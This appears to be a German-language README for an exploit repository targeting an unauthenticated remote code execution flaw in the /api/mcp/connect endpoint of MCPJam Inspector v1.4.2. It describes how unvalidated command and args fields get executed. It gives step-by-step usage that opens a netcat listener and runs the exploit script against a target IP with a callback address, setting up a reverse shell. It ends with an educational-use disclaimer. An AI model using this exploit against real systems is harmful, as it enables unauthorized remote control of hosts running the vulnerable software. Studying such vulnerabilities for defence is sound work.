alisster00/cve-2026-23744-rce
Dieses Dienstprogramm wurde im Rahmen der Forschung zu MCPJam v1.4.2 erstellt. Die Anwendung stellt einen API-Endpunkt bereit, der ein Serverkonfigurationsobjekt akzeptiert. Unter bestimmten Bedingungen kann eine unzureichende Validierung eine unbeabsichtigte Befehlsausführung ermöglichen.
MCPJam Inspector enthält eine nicht authentifizierte Remote Code Execution (RCE)-Schwachstelle im /api/mcp/connect-Endpunkt. Die Schwachstelle ermöglicht Angreifern, beliebige Befehle durch Senden einer schädlichen MCP-Serverkonfigurationsnutzlast auszuführen.
Der Endpunkt akzeptiert eine JSON-Nutzlast mit einem serverConfig-Objekt, das ein command- und ein args-Array enthält, die direkt auf dem System ohne ordnungsgemäße Validierung oder Bereinigung ausgeführt werden.
requests-Bibliothek: pip install requestsnetcat oder socat für ListenerTerminal 1 – Listener starten:
nc -lvnp 4444
Terminal 2 – Exploit ausführen:
python3 script.py <TARGET_IP> -l <YOUR_IP> --lport 4444
# Default (port 6274, callback port 4444)
python3 script.py <TARGET_IP> -l <YOUR_IP>
# Custom MCPJam port
python3 script.py <TARGET_IP> -p 6274 -l <YOUR_IP>
# Custom listener port
python3 script.py <TARGET_IP> -l <YOUR_IP> --lport 5555
/api/mcp/connect-Endpunkt⚠️ HAFTUNGSAUSSCHLUSS:
Dieses Exploit wird ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist illegal. Benutzer sind allein verantwortlich für:
Der Autor übernimmt keine Haftung für Missbrauch oder durch dieses Tool verursachte Schäden. Verwendung auf eigene Gefahr.
/api/mcp/connect